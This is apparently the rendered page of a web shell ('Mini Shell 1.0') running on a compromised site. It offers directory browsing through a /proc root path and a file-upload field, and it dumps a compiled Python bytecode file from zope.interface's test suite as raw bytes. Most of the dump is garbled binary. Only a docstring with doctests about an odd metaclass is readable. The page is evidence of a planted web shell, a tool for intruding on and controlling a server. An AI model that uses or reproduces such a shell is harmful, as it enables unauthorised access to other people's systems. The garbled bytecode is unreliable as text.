HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1780863/root/lib/python3/dist-packages/zope/interface/tests/__pycache__/
Upload File :
Current File : //proc/1780863/root/lib/python3/dist-packages/zope/interface/tests/__pycache__/odd.cpython-311.pyc
�

JDvc�����dZGd�de��ZGd�de��Zedejd�ej���D����ZGd�de��ZdS)	agOdd meta class that doesn't subclass type.

This is used for testing support for ExtensionClass in new interfaces.

  >>> class A(object):
  ...     __metaclass__ = MetaClass
  ...     a = 1
  ...
  >>> A.__name__
  'A'
  >>> A.__bases__ == (object,)
  True
  >>> class B(object):
  ...     __metaclass__ = MetaClass
  ...     b = 1
  ...
  >>> class C(A, B): pass
  ...
  >>> C.__name__
  'C'
  >>> int(C.__bases__ == (A, B))
  1
  >>> a = A()
  >>> aa = A()
  >>> a.a
  1
  >>> aa.a
  1
  >>> aa.a = 2
  >>> a.a
  1
  >>> aa.a
  2
  >>> c = C()
  >>> c.a
  1
  >>> c.b
  1
  >>> c.b = 2
  >>> c.b
  2
  >>> C.c = 1
  >>> c.c
  1
  >>> import sys
  >>> if sys.version[0] == '2': # This test only makes sense under Python 2.x
  ...     from types import ClassType
  ...     assert not isinstance(C, (type, ClassType))

  >>> int(C.__class__.__class__ is C.__class__)
  1
c��eZdZd�ZdS)�
MetaMetaClassc�H�|dkr|St�||��S�N�	__class__)�type�__getattribute__)�cls�names  �:/usr/lib/python3/dist-packages/zope/interface/tests/odd.pyrzMetaMetaClass.__getattribute__Gs(���;����J��$�$�S�$�/�/�/�N)�__name__�
__module__�__qualname__r�rrrrEs#������0�0�0�0�0rrc�*�eZdZdZd�Zd�Zd�Zd�ZdS)�	MetaClasszOdd classes
    c�V�||_||_|j�|��dS�N)r
�	__bases__�__dict__�update)�selfr
�bases�dicts    r�__init__zMetaClass.__init__Rs,����
�����
���T�"�"�"�"�"rc� �t|��Sr)�OddInstance�rs r�__call__zMetaClass.__call__Ws���4� � � rc�f�|jD]}t|||��}||ur|cS�t|���r)r�getattr�AttributeError)rr
�b�vs    r�__getattr__zMetaClass.__getattr__ZsI����	�	�A���4��&�&�A���}�}�������T�"�"�"rc�R�d|j�dtt|�����d�S)Nz<odd class z at �>)r
�hex�idrs r�__repr__zMetaClass.__repr__as%���)-�����B�t�H�H�
�
�
�
�F�FrN)r
rr�__doc__rrr%r*rrrrrNs_��������#�#�#�
!�!�!�#�#�#�G�G�G�G�Grrc�"�i|]\}}|dv�	||��
S)�rr)�.0�kr$s   r�
<dictcomp>r0gs2��5�5�5�D�A�q��m�3�3��a�3�3�3rc�,�eZdZd�Zd�Zd�Zd�Zd�ZdS)rc��||jd<dSrr-)rr	s  rrzOddInstance.__init__ls��%(��
�k�"�"�"rc��t�|d��}|dkr|S|�||��}||ur|St|d|��S)Nrr)�objectr�getr!)rr
rr$s    rrzOddInstance.__getattribute__os]���&�&�t�Z�8�8���:����K��H�H�T�4� � ���D�=�=��H��t�K�(�$�/�/�/rc��||j|<dSrr-)rr
r$s   r�__setattr__zOddInstance.__setattr__xs����
�d���rc��t���r)�NotImplementedError)rr
s  r�__delattr__zOddInstance.__delattr__{s��!�#�#�#rc�\�d|jj�dtt|�����d�S)Nz<odd z
 instance at r')rr
r(r)rs rr*zOddInstance.__repr__~s.����N�#�#�#�S��D���]�]�]�]�4�	4rN)r
rrrrr7r:r*rrrrrjs_������)�)�)�0�0�0� � � �$�$�$�4�4�4�4�4rrN)	r+rrr4rrr�itemsrrrr�<module>r=s���3�3�n0�0�0�0�0�D�0�0�0�G�G�G�G�G��G�G�G�.
�M�+�#�-�5�5�I�,>�,D�,D�,F�,F�5�5�5�
6�
6�	�
4�4�4�4�4�&�4�4�4�4�4r